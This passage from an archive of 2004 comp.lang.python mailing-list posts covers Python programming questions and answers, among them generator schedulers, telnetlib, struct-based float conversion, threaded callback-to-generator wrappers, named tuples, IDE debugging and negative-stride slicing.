scheduler than that in the article. That is, rather than lookup jump targets by name (as in the article), we might just jump based on an actual passed generator object. There are advantages and disadvantages to this change. It's harder to make the switches data driven (e.g. user input, or based on database table lookup), but the code is simpler and has one less indirection. The scheduler might look something like: def scheduler(start): global cargo coroutine = start while 1: (coroutine, cargo) = coroutine.next() If you want to pass real data around, you probably have to throw in some more 'global cargo' lines up there and/or hold shared data in a class instance or other mutable, global structure. Yours, David... From mark at prothon.org Thu Sep 2 00:17:36 2004 From: mark at prothon.org (Mark Hahn) Date: Wed, 1 Sep 2004 21:17:36 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1093788608.645541@news.commspeed.net> <7xoekq4ehv.fsf@ruckus.brouhaha.com> Message-ID: On 01 Sep 2004 23:38:52 +0300, Ville Vainio wrote: >>>>>> "Mark" == Mark Hahn writes: > > Mark> On 01 Sep 2004 00:47:40 -0700, Paul Rubin wrote: > >> Mark Hahn writes: > > >>> I would have agreed with you before I saw the details of the > >>> C-Omega language. Check out this paper on how XML and SQL are > >>> handled directly in the language: > > >> Yuck, Javascript handled those tasks just fine, it seemed to me. > > Mark> Did you actually read the paper? > > And I'd like to ask whether you've checked out David Mertz's > gnosis.xml.objectify? > > To me, X# seems mostly like naive buzzword chasing - or a research > project that exists because someone needed a research project. X# seems like groundbreaking work to me. It reminds me of the utility of regular expressions but for XML and SQL. > If you want to do something that could be worthwhile to a larger > number of people, add static type declarations to IronPython. There > you could really be pioneering stuff that will be in py3k. PyCs DOES offer optional static type declarations and many other things from "Python 3000". Check out the website. > X# sounds > more like perl7, with snowballs chance in hell of being adopted by any > future python iteration. Don't forget that reular expressions were in Perl first also and they are used heavily in Python. From irmen at -nospam-remove-this-xs4all.nl Wed Sep 15 14:04:13 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Wed, 15 Sep 2004 20:04:13 +0200 Subject: python task manager In-Reply-To: <106645cc.0409150056.708bba7a@posting.google.com> References: <106645cc.0409150056.708bba7a@posting.google.com> Message-ID: <4148841e$0$78753$e4fe514c@news.xs4all.nl> jack wrote: > Hi, > > I am looking for a task manager written in python that is powerfull > and simple enough to schedule a lot of different tests on an every day > or many time a day basis. > [...] > QUESTION ? > ********** > Is there other python options than these 3 ? Yes, you could try my "Kronos" task scheduler; http://www.razorvine.net/download/kronos.py (example is at the end of the source file) --Irmen From tjreedy at udel.edu Tue Sep 7 02:20:19 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 7 Sep 2004 02:20:19 -0400 Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: "Antoon Pardon" wrote in message news:slrncjo20a.7or.apardon at rcpc42.vub.ac.be... > No Python doesn't support end markers. That you can use an idiom of > comments to help the humean reader in distinghuishing the end of > a block is not the same as the language supporting end markes. What do mean by support? Python allows. Redundant markers would be severe problem if inconsistent. Terry J. Reedy From enno.middelbergREMOVE_ME at csiro.au Wed Sep 15 04:52:13 2004 From: enno.middelbergREMOVE_ME at csiro.au (Enno Middelberg) Date: Wed, 15 Sep 2004 18:52:13 +1000 Subject: Align numbers at decimal point Message-ID: <2qqe5vF11pk6jU1@uni-berlin.de> Hi, I'm sure someone asked this question before, but I can't find the solution on the web or in the groups. I want to print out columns of numbers which are aligned at the decimal point, eg: 123.45 3.0 65.765486 I can't find how to do that. I use the following command as a workaround, but it only works when the number of digits after the decimal point is constant: print ("%.2f" % reduced_time).rjust(9) Is there an easy solution? Thanks, Enno -- Remove "REMOVE_ME" for PM replies From nobody at nowhere.com Wed Sep 22 19:02:43 2004 From: nobody at nowhere.com (Yannick Turgeon) Date: Wed, 22 Sep 2004 19:02:43 -0400 Subject: telnetlib close not closing sockets References: Message-ID: Hello Mike, Your subject remembered me some hard time using telnetlib on Windows. Oh God I searched for answers!:o) I would be very happy to prevent you this. To verify if you have the same problem, Could you tell me if you always reach the timeout (5 secs) before your read_until() return? For your current problem. Did you try with parenthesis after "close": tn.close() I hope it was just that! Yannick Mike Monaghan wrote: > HOST = "fred" > tn = telnetlib.Telnet(HOST) > tn.write("DEMO\n") > print tn.read_until("\n>",5) > tn.write("OFF\n") > print tn.read_until("Logon Please:",5) > print tn.read_until("make sure socket queue is empty the hard way",5) > tn.close > > I've tried several options to accomplish this, but for whatever reason > the socket remains open until I exit python. From michaels at rd.bbc.co.uk Thu Sep 16 11:24:19 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Thu, 16 Sep 2004 16:24:19 +0100 Subject: Broadcast References: Message-ID: Paul Clinch wrote: > Thomas Weholt wrote: >> Posted somewthing about a xmlrpc-webserver with multicast >> capabilities, but I've solved all but the thing I've now learned is >> called broadcast, not multicast. >> >> I need a simple way of sending packets to local subnet and getting >> results from active servers. The mcast.py in the demo-folder of the >> distro didn't do it for me, so if anybody has another example I'd be >> very grateful. > > There some more extensive code in the PyRendezvous project. See http:/ > radio.weblogs.com/0105002/stories/2003/01/06 > multicastDnsServiceDiscoverForPython.html This has been updated by the looks of things and added to sourceforge: * http://sourceforge.net/projects/pyzeroconf Regards, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From jmlai at uci.edu Thu Sep 2 23:53:06 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 02 Sep 2004 20:53:06 -0700 Subject: Tuple question In-Reply-To: <87y8js3ud2.fsf@uwo.ca> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> <87acw86she.fsf@uwo.ca> <87y8js3ud2.fsf@uwo.ca> Message-ID: Dan Christensen wrote: > Jason Lai writes: > > >>Dan Christensen wrote: >> >> >>> for row in rows: >>> try: >>> points += 3-row.index(X) >>> except: >>> pass >>>I realize that there are different ways to code it, but most >>>are simply reimplementations of the proposed index function. >>>Dan >> >>for index, row in enumerate(rows): >> points += 3 - index > > > [I changed "i" to "index" in the last line.] > > That doesn't do the same thing, but that's because my description > wasn't clear. rows is a list of tuples, with each tuple being one > person's three votes. E.g. > > rows = [('J2', 'C64', 'X11'), ('U2', 'J2', 'P3000')] > > So if X == 'J2', the code should calculate 3+2=5 points. > > Dan Ah, okay, I see my mistake. I should read closer before replying :P Well, I see your point, although I still don't think it would happen that often. I also don't see it as a newbie trap, because currently all the other "mutable sequence" member functions are only for lists, not tuples. Index and count are the only mutable sequence functions that might apply to tuples. One could argue that those functions might be useful (to a lesser extent, probably) for iterators too. - Jason Lai From steven.bethard at gmail.com Thu Sep 23 13:25:32 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 11:25:32 -0600 Subject: spliting a list by nth items Message-ID: I feel like this has probably been answered before, but I couldn't find something quite like it in the archives. Feel free to point me somewhere if you know where this has already been answered. I have a list in a particular order that I want to split into two lists: the list of every nth item, and the list of remaining items. It's important to maintain the original order in both lists. So the first list is simple: nth_items = items[::n] The second list is what's giving me trouble. So far, the best I've come up with is: non_nth_items = list(items) del non_nth_items[::n] Is this the right way to do this? Steve -- You can wordify anything if you just verb it. - Bucky Katt, Get Fuzzy From saperlipopette at gmx.ch Tue Sep 14 08:19:04 2004 From: saperlipopette at gmx.ch (haddock) Date: 14 Sep 2004 05:19:04 -0700 Subject: Using Python instead of DOS shell scripts References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com> Message-ID: <8c2f23c.0409140419.1f847b52@posting.google.com> I am just getting started myself and can really recommend "learning python" by Lutz and Aescher (O'Reilly). This book really starts at the beginning, covers several OS, and really explains well. I only knew some Java before, and have never been great at command line things, so this book really helped me a lot. If you are already a pro with computers and other languages it might be too detailed. From __peter__ at web.de Tue Sep 14 10:07:33 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 14 Sep 2004 16:07:33 +0200 Subject: IEEE 754 floats References: Message-ID: Dale Huffman wrote: > Is there a simple way to convert an IEEE-754 floating point ascii > string ( "0x40400000" = 3.0, 32bit ) into a float variable, without > writing a function to do the math. I have transferred this across a > network from a device I have no contol over and it sends all data as a > string. Everything I have tried just converts from hex to decimal and > adds a decimal point and a zero. > > string.atof("0x40400000") returns 1077936128.0 > > In case I'm not explaining clearly, what I'm looking for could be > coded in C as follows: > > int a = 0x40400000; > float *ap = (float *)&a; > > float myFloat = *ap; > > Sorry if the C offeded anyone in the Py crowd but I'm new to Python > and so far it rocks - I just don't have the basics down yet. >>> struct.unpack("f", struct.pack("l", int("0x40400000", 16)))[0] 3.0 There may be simpler ways, though. Peter From thats at it.com Sat Sep 18 22:06:26 2004 From: thats at it.com (Baalbek) Date: Sun, 19 Sep 2004 04:06:26 +0200 Subject: wxPython Not Ready for Commercial Use In-Reply-To: <8e61d9bd.0409180335.3f5c9e58@posting.google.com> References: <8e61d9bd.0409180335.3f5c9e58@posting.google.com> Message-ID: Bill Wilkinson wrote: > I use Jython with the POI libraries for publishing to Excel. > http://jakarta.apache.org/poi/ The Jython/POI combination is indeed my favourite way of dealing with Excel, BUT somehow reading Excel files 500KB and larger takes an incredible amount of time (f.ex reading a document about 600Kb makes me sit and wait for several minutes). Any idea why the POI takes such a long time to read relatively small Excel files (it's not Jython's fault, I tested the POI classes in Ant, and same thing there). Baalbek From __peter__ at web.de Tue Sep 7 04:15:55 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 07 Sep 2004 10:15:55 +0200 Subject: turning callback into generator References: Message-ID: Bengt Richter wrote: > Not that familiar with python threads and queue, but here's a start: > > >>> import threading > >>> import Queue > >>> q = Queue.Queue(3) # ridiculously short But already too long if the items yielded are somehow interdependant. > >>> > >>> def producer(n, cb): > ... for i in xrange(n): cb(i) > ... > >>> def product_generator(p, *a, **kw): > ... tpq = threading.Thread(target=p, args=a, kwargs=kw) > ... tpq.start() > ... try: > ... while True: yield q.get(True,5) > ... except Queue.Empty: > ... print 'No data for 5 seconds' > ... > >>> for item in product_generator(producer, 8, q.put): print item > ... > 0 > 1 > 2 > 3 > 4 > 5 > 6 > 7 > No data for 5 seconds > >>> > > Not tested beyond what you see ;-) The problem is _not_ to signal that there are no more items to be expected - you can easily do that by wrapping the producer to put a special object into the queue when it's done and test for that in the product_generator(). This would avoid the 5-second jet lag. It's a bit harder to avoid a dangling thread when you have code like for item in product_generator(...): if pred(item): break You could attack that with a long timeout for Queue.put(), too, but I'd rather signal the generator that we're done (via a second Queue, maybe). Unfortunately this imposes changes on the client code, thus defeating the original goal of making generators and visitors/callbacks freely interchangeable. Peter From carribeiro at gmail.com Thu Sep 16 18:26:47 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 16 Sep 2004 19:26:47 -0300 Subject: wxPython Not Ready for Commercial Use In-Reply-To: References: Message-ID: <864d370904091615265df47d44@mail.gmail.com> Well, for what I have read of your situation, it's not much different in essence from mine, or from other people that are using Python for business applications. There are some fellows around here who are not entirely satisfied with the state of the art in this particular area. Said that, let me point out where I disagree with you. (Please beware, I'm going to enter ?vangelize-mode"). The problem is not with wxPython, which is solid, mature, and very comprehensive. The problem is not with the emulation of feature X or Y of some other well known software. The problem, in my not-so-humble opinion, is the lack of a solid framework to develop *business applications*, that tie all things together under an abrangent and comprehensive umbrella. It includes: -- solid supporting libraries (abstract data types, networking, etc) -- that's where Python excels; -- GUI stuff (that's wxPython domain, Qt and Tk are also good options); -- database support (beyond DBAPI 2.0; including GUI bindings, object persistence); -- report generation; -- last, but not least: a set of guidelines and a basic app framework that can be easily adapted for new projects. Those who ever programmed with Delphi know what I am talking about here. As far as Python is regarded, each and every project uses a different approach[1], making code reutilization extremely hard. I may have forgotten something on my list above, but you've got the basic idea. On the good side, there are plenty of people working on such tools. On the bad side, there is still no standard, and there's possibly a long way ahead until some standard finally materializes. -- [1] What did I mean with "a different approach"? non-standart interfaces, lack of naming conventions, different ways to bind to or handle external events, etc.The integration depends on more factors than the basic class hierarchy -- the actual usage of the classes (how they are instantiated, bound together, etc.) must be similar enough to make integration possible. As it is now, it'is possible to have two wxPython apps programmed in such a way that integration between them difficult or even impossible, due to this factor. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From tungwaiyip at yahoo.com Tue Sep 7 12:27:36 2004 From: tungwaiyip at yahoo.com (Wai Yip Tung) Date: Tue, 07 Sep 2004 09:27:36 -0700 Subject: turning callback into generator References: Message-ID: On Tue, 07 Sep 2004 10:15:55 +0200, Peter Otten <__peter__ at web.de> wrote: > Bengt Richter wrote: > >> Not that familiar with python threads and queue, but here's a start: >> >> >>> import threading >> >>> import Queue >> >>> q = Queue.Queue(3) # ridiculously short > > But already too long if the items yielded are somehow interdependant. > >> >>> >> >>> def producer(n, cb): >> ... for i in xrange(n): cb(i) >> ... >> >>> def product_generator(p, *a, **kw): >> ... tpq = threading.Thread(target=p, args=a, kwargs=kw) >> ... tpq.start() >> ... try: >> ... while True: yield q.get(True,5) >> ... except Queue.Empty: >> ... print 'No data for 5 seconds' >> ... >> >>> for item in product_generator(producer, 8, q.put): print item >> ... >> 0 >> 1 >> 2 >> 3 >> 4 >> 5 >> 6 >> 7 >> No data for 5 seconds >> >>> >> >> Not tested beyond what you see ;-) > > The problem is _not_ to signal that there are no more items to be > expected - > you can easily do that by wrapping the producer to put a special object > into the queue when it's done and test for that in the > product_generator(). > This would avoid the 5-second jet lag. It's a bit harder to avoid a > dangling thread when you have code like > > for item in product_generator(...): > if pred(item): break > > You could attack that with a long timeout for Queue.put(), too, but I'd > rather signal the generator that we're done (via a second Queue, maybe). > Unfortunately this imposes changes on the client code, thus defeating the > original goal of making generators and visitors/callbacks freely > interchangeable. > > Peter > Thanks for the pointers. Actually I'm looking for a solution that do not use thread or to buffer all result in memory since one of the great thing about generator is that it can achieve the process without using those resource intensive techniques. About the dangling thread, perhaps the destructor method __del__() can help (http://www.python.org/dev/doc/devel/ref/customization.html). It is really nasty to end up with dangling threads. Wai Yip From arigo at tunes.org Tue Sep 21 06:50:09 2004 From: arigo at tunes.org (Armin Rigo) Date: Tue, 21 Sep 2004 11:50:09 +0100 Subject: Microthreads without Stackless? In-Reply-To: References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: <41500891@news.ecs.soton.ac.uk> Hi all, David Pokorny wrote: > Before sending people off to greenlets, I'm starting to understand why you > have to go check them out via CVS---they are somewhat dangerous in their > current form. I did continue to work on Greenlets but outside the Stackless CVS repository. The current version is available from the Subversion repository at Codespeak: http://codespeak.net/svn/user/arigo/greenlet/ . But indeed, some more work is needed to get them in a fully reliable state. I have more or less stopped working on them but if there is interest they could be finished. The final clean-up will probably require some help from Christian Tismer to tweak the platform-specific compilation options. Armin From jerf at jerf.org Wed Sep 1 01:36:16 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 01 Sep 2004 05:36:16 GMT Subject: Testing automatically on import References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1ry8k0d2az.fsf@rovereto.ifi.uio.no> <10iv0kid2ig9ka6@corp.supernews.com> <1rpt5ccbso.fsf@rovereto.ifi.uio.no> <10ivpk9inpnh65@corp.supernews.com> <1rd61bd26k.fsf@rovereto.ifi.uio.no> <1gj892g.1hlc8ar1po78b6N%aleaxit@yahoo.com> <1gja5sf.vbe56knfvu9sN%aleaxit@yahoo.com> Message-ID: On Wed, 01 Sep 2004 05:34:25 +0000, Jeremy Bowers wrote: > I've knocked up a prototype which can be downloaded at > http://www.jerf.org/importer.py . It unzips into a directory name > "importer", and contains a module "testOnImport". Yes, it is late. As the text implies, make that http://www.jerf.org/importer.zip . Sorry. From aleaxit at yahoo.com Wed Sep 22 13:37:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 19:37:01 +0200 Subject: for_some(), for_all()? References: Message-ID: <1gkj4mn.15jpnduj16rsmN%aleaxit@yahoo.com> aurora wrote: > I am trying to test a list to see if some or all elements pass a test. For > example I can use reduce() to test if any element is 0. > > >>> lst = [1,2,0,3] > >>> test = lambda x: x == 0 > >>> reduce(operator.__or__,[test(x) for x in lst]) > True > > However I bet reduce() does not exploit the short circuit logic. Also it > is a little clumsy to create another list to pass into reduce. Is there > some equivalent of > > for_some(test, lst) > or > for_all(test, lst)? Simplest: def for_some(test, lst): for item in lst: if test(item): return True def for_all(test, lst): for item in lst: if not test(item): return False return True You can play tricks, but you can't beat the simplicity of these, and even with the cleverest tricks you can't beat their speed by much. And simplicity is a great quality for software to have. Alex From pit.grinja at gmx.de Thu Sep 9 12:38:22 2004 From: pit.grinja at gmx.de (Piet) Date: 9 Sep 2004 09:38:22 -0700 Subject: python mysql and xml References: <4c900ea0.0409062109.391d04de@posting.google.com> <39cbe663.0409070159.28b77755@posting.google.com> <4c900ea0.0409070945.760a9ea8@posting.google.com> Message-ID: <39cbe663.0409090838.77e4e5f7@posting.google.com> > > Hi > I want to select only selected data from mysql database. This can be achieved by combining two modules: the MySQL Module for python and PyXML for generating the XML output. It is not a big issue to achieve the desired transformation when you know the basics of these two modules. Have you already had a look at these modules or are you familiar with MySQL statements and XML in general? If so, It will not be a problem to give you some hints. If the basics are missing, then things can be a little more difficult because you apparently need a somewhat general solution. Peter From rogerb at rogerbinns.com Mon Sep 20 11:17:42 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Mon, 20 Sep 2004 08:17:42 -0700 Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <414ed45d$0$2405$61ce578d@news.syd.swiftdsl.com.au> Message-ID: huy wrote: > Most of my users don't know as much as you do. What's an rpm ? what's > a programming language ? The users I know only know how to surf the > web. That is exactly what I am stating. On Windows, they are used to installing stuff using setup.exe and on Linux using the vendor packaging tool. Same for removing programs (Add/Remove Programs and whatever the vendor tool is respectively). > I'm not sure what you are trying to say here. Are you against webstart > or not ? Can't get easier then clicking on a link to install a > program. I am against the current implementations of webstart. They introduce a parallel packaging system that isn't the same as the one already on the user's OS. Roger From newsgroups at jhrothjr.com Mon Sep 13 09:59:00 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Mon, 13 Sep 2004 08:59:00 -0500 Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> <1gk1n7i.2du2ju1d38wwgN%aleaxit@yahoo.com> Message-ID: <10kb9u8s1fqm12c@news.supernews.com> "Alex Martelli" wrote in message news:1gk1n7i.2du2ju1d38wwgN%aleaxit at yahoo.com... > Elaine Jackson wrote: > >> In addition to what you've found out already, there is another difference >> that, to my mind, is of paramount importance; namely, the fact that an >> augmented assignment (a+=b) is actually not an assignment at all. An >> actual assignment (a=a+b) binds the name "a" to a new object, while a >> so-called augmented assignment mutates the object a itself. > > Ah, careful there: augmented assignment (nothing "so-called" about it;-) > mutates the object and THEN assigns ("re-binds" if you want to get > technical) the name or other slot holding the object. I've never understood why it does that. If you have a mutable object that is updated, then the rebinding makes no sense whatsoever. The problem is that it's not just confusing, I think I have a reasonable expectation that if it fails, it fails atomically. John Roth > Alex From aleaxit at yahoo.com Thu Sep 16 09:02:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 15:02:34 +0200 Subject: python: ascii read References: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> Message-ID: <1gk7mc1.bc05un1x83yxsN%aleaxit@yahoo.com> Sebastian Krause wrote: > I did not explictly mention that the ascii file should be read in as an > array of numbers (either integer or float). Ah, right, you didn't . So I was answering the literal question you asked rather than the one you had in mind. > To use open() and read() is very fast, but does only read in the data as > string and it also does not work with large files. It works just fine with files as large as you have memory for (and mmap works for files as large as you have _spare address space_ for, if your OS is decently good at its job). But if what you want is not the job that .read() and mmap do, the fact that they _do_ perform that job quite well on large files is of course of no use to you. Back to, why scipy.io.read_array works so badly for you -- I don't know, it's rather complicated code, as well as maybe old-ish (wraps files into class instances to be able to iterate on their lines) and very general (lots of options regarding what are separators, etc, etc). If your needs are very specific (you know a lot about the format of those huge files -- e.g. they're column-oriented, or only use whitespace separators and \n line termination, or other such specifics) you might well be able to do better -- likely even in Python, worst case in C. I assume you need Numeric arrays, 2-d, specifically, as the result of reading your files? Would you know in advance whether you're reading int or float (it might be faster to have two separate functions)? Could you pre-dimension the Numeric array and pass it in, or do you need it to dimension itself dynamically based on file contents? The less flexibility you need, the simpler and faster the reading can be... Alex From db3l at fitlinxx.com Wed Sep 22 14:42:23 2004 From: db3l at fitlinxx.com (David Bolen) Date: 22 Sep 2004 14:42:23 -0400 Subject: python ides References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <1gkj4c6.1xmd0xd1jdgzx9N%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > > hits that point (whether it's running deep inside a web server, or any > > ...we WERE "deep inside a web server" (one coded with Twisted)... Ah, I sort of assumed (since you mentioned Twisted) that it was a server you could start up from scratch completely under Wing's control and then take it to the point of failure just letting Wing's normal exception catching mechanism work - thus, just starting it from the IDE. The exception trapping support of Wing, BTW, as you also mentioned, is definitely impressive since it's the only one I've seen that can cross the Python->C Extension-Python boundary and still trap an exception. Works great with exceptions in wxPython applications since those all occur on the other "side" of the wxPython extension, and aren't generally caught by other debuggers i've tried. Of course, this does occasionally catch "normal" exceptions suppressed by such extensions that you then need to ignore, but Wing makes that simple too. The environments I was originally envisioning were those where you really couldn't manually start the application directly from Wing. So in the web case, something like Apache using mod_python, or perhaps when trying to debug a COM server that is initiated as an in-proc server from a C++ application. But of course that mechanism is just as useful even if you could start your own application, since it lets you minimize the debugging overhead until you actually reach the right point (which might be after some unknown amount of runtime). -- David From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 15:26:10 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 20:26:10 +0100 Subject: Delivered signal info in exit status of a process? In-Reply-To: <938a4680.0409241052.72867804@posting.google.com> References: <938a4680.0409241052.72867804@posting.google.com> Message-ID: Ishwar Rattan wrote: > Here is a piece code (according to blurb on os.wait, the lower > order 7 bits of exit status of process should contain the signal > number of signal that terminated the process..) and signal number > should be 8 (SIGFPE), similar logic in C-code produces expected > result. But that's not what happens when you throw a ZeroDivisonError in python: $ python -c "2/0" Traceback (most recent call last): File "", line 1, in ? ZeroDivisionError: integer division or modulo by zero $ echo $? # this is the exit status in bash 1 If there is a SIGFPE, Python is trapping it and turning it into an exception. And it exits with status 1 due to an uncaught exception. -- Michael Hoffman From elainejackson7355 at home.com Fri Sep 3 00:51:17 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 03 Sep 2004 04:51:17 GMT Subject: namespace question References: Message-ID: <9LSZc.304482$J06.211961@pd7tw2no> By "the interpreter's global namespace" I mean the dictionary that gets returned if you evaluate 'globals()' in the interpreter. "Peter Hansen" wrote in message news:UaydnaeLxJDpqqrcRVn-vg at powergate.ca... | Elaine Jackson wrote: | > I would like to be able to write a function f, which will live in a module M, | > and will call a function g, such that, when f is imported from M into the | > interpreter, and invoked there, its invokation of g will return the | > interpreter's global namespace. | | What does that last part mean? There is no such thing as the | "interpreter's global namespace". Each module is its own namespace. | | -Peter From adurdin at gmail.com Sat Sep 4 07:27:04 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Sat, 4 Sep 2004 21:27:04 +1000 Subject: Tuple question In-Reply-To: <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> Message-ID: <59e9fd3a04090404278072b84@mail.gmail.com> On Sat, 4 Sep 2004 11:00:30 +0200, Alex Martelli wrote: > > Pseudotuples with NAMED (as well as indexed) arguments, as modules stat > and time now return, may be a different issue. Not sure why we never > made declaring such pseudotuples as usertypes as easy as it should be, a > custom metaclass in some stdlib module shd be enough. But tuples whose > items can't be named, just indexed or sliced, just are not a good fit > for the kind of use case you and Guido use to justify tuple's lack of > methods, IMHO. Such "pseudotuples" are easy enough to implement. Since I'm not all that crash hot with metaclasses, I just made a tuple subclass (see below). Would a metaclass implementation offer any significant benefits over a subclass? class NamedTuple(tuple): """Builds a tuple with elements named and indexed. A NamedTuple is constructed with a sequence of (name, value) pairs; the values can then be obtained by looking up the name or the value. """ def __new__(cls, seq): return tuple.__new__(cls, [val for name,val in seq]) def __init__(self, seq): tuple.__init__(self) tuple.__setattr__(self, "_names", dict(zip([name for name,val in seq], range(len(seq))))) def __getattr__(self, name): try: return tuple.__getitem__(self, self.__dict__["_names"][name]) except KeyError: raise AttributeError, "object has no attribute named '%s'" % name def __setattr__(self, name, value): if self._names.has_key(name): raise TypeError, "object doesn't support item assignment" else: tuple.__setattr__(self, name, value) # Example if __name__ == "__main__": names = ("name", "age", "height") person1 = NamedTuple(zip(names, ["James", "26", "185"])) person2 = NamedTuple(zip(names, ["Sarah", "24", "170"])) print person1.name for i,name in enumerate(names): print name, ":", person2[i] (Submitted to the Cookbook: recipe #303439) From rupole at hotmail.com Thu Sep 9 17:55:50 2004 From: rupole at hotmail.com (Roger Upole) Date: Thu, 9 Sep 2004 17:55:50 -0400 Subject: found bakups of code I never asked for --- References: Message-ID: <4140cfb8$1_5@127.0.0.1> >From the Pythonwin editor, look under View->Options->editor. The 'Backups' field lets you turn it off or change the backup directory. Roger "Anon" wrote in message news:chq9fu$9ii$1 at newsg3.svr.pol.co.uk... > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hey everyone. > > I was looking around my file system today when I stumbled ac ross > A -COMPLETE- bakup of every piece of python code I ever coded in the > folder... > > C:\Documents and Settings\edit.edit\Local Settings\Temp\bak > > Can someone tell me were the options are for turnin this bakup feature on > and off?? > > I have current Python build installed, ie 2.3.4 and also Pythonwin same > build.. > > I cannot remember selecting any option in the setup to bakup my code this > way, so I was wondering were the feature for it actualy is??? > > I probably would like to keep it, just in case of any file corruption > problems, but it would be ncie to no that I ALSO turn the feature of as > well. > > Thanks. > Anon > > > - -- > ************* > The Imagination may be compared to Adam's dream- > he awoke and found it truth. > John Keats. > ************* > -----BEGIN PGP SIGNATURE----- > Version: PGP 8.0 > > iQA/AwUBQUCpPi/z2sM4qf2WEQI+rwCgvFxlyaDvIscS9pbYFPVfiDNot3cAoKyz > xnFAyoYozJtjtERcKdMGOJoU > =hLXS > -----END PGP SIGNATURE----- > > From toaster at compass-it.ch Tue Sep 7 04:12:04 2004 From: toaster at compass-it.ch (jacques) Date: 7 Sep 2004 01:12:04 -0700 Subject: run a python script located on linux from a windows computer Message-ID: <2cbc7d61.0409070012.3b163cc@posting.google.com> hello everybody i have a computer with redhat linux. on this computer i have some python scripts i want to run. i don't want to run them with linux but with windows. so i have a second computer (win) with python installed. how can i lauch the script on the linux? python myscript.py 192.168.1.1 ? thank you for any help. bye jacques From db3l at fitlinxx.com Wed Sep 22 12:36:29 2004 From: db3l at fitlinxx.com (David Bolen) Date: 22 Sep 2004 12:36:29 -0400 Subject: python ides References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > Chris S. wrote: > ... > > > http://wingware.com/downloads > > > > Aside from being proprietary, how is WingIDE different from SPE > > (spe.pycs.net)? > > I'm not a big IDE user, but I've seen WingIDE's debugger in the hand of > an IDE-wizard, and it _is_ incredible. It also has the attractive mechanism by which you can include debugging support in any application and then debug it remotely in whatever environment it is running - e.g., if you're stuck with code that isn't TDD or testable outside of its operational environment, just import the debugger stub, configure it to point back to your development machine and leave the IDE in listen mode. Once the code hits that point (whether it's running deep inside a web server, or any other application) you'll get control right at that point on your development machine. Darn nice. WingIDE 2.0's (still in beta) new GUI is also much more attractive looking (on Windows at least), and its approach to dynamic source analysis (in lieu of call tips, although they still have completion) is quite impressive. -- David From peter at engcorp.com Wed Sep 1 19:21:06 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 19:21:06 -0400 Subject: negative stride list slices In-Reply-To: References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <2pmj4aFmofl2U1@uni-berlin.de> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Message-ID: Julio O?a wrote: > On Wed, 01 Sep 2004 18:05:22 -0400, Peter Hansen wrote: >>please explain *which* elements are being listed in reverse >>order, referring to the index value -3 and the elided >>index value. > > Well in the case [:-3:-1] I think this is what is happening > - revers the list > - this left with [0:2] (remember [-3:] returns 2 characters only > > in the case [-1:-2:-1] > - revers the string 'Apleh' > - this left with [:1] (this is tricky but -1 is equivalent to 0 as > -2 is to 1, remember you are counting backwards from the end) > > The problem is the mening of -1 when reversing the list. The slice is > closed in the lower side and open in the upper one. When reversing the > list the lower end is open and no close as with positive step. > > Any comments? Okay, so let me see how this looks with the previous diagram. +---+---+---+---+---+ | H | e | l | p | A | +---+---+---+---+---+ 0 1 2 3 4 5 -5 -4 -3 -2 -1 But that only works for the forward or positive step case. With a negative/reverse step, you first have to reverse the string: +---+---+---+---+---+ | A | p | l | e | H | +---+---+---+---+---+ -1 -2 -3 -4 -5 -6 And now you're in effect going from the start (i.e. the missing value before the colon) to the -3 point. Thus 'Ap'. I don't find it at all intuitive, and certainly the existing diagram needs to be updated if this is really how it works, but at least you have an explanation that corresponds to the values, so thank you. It does seem 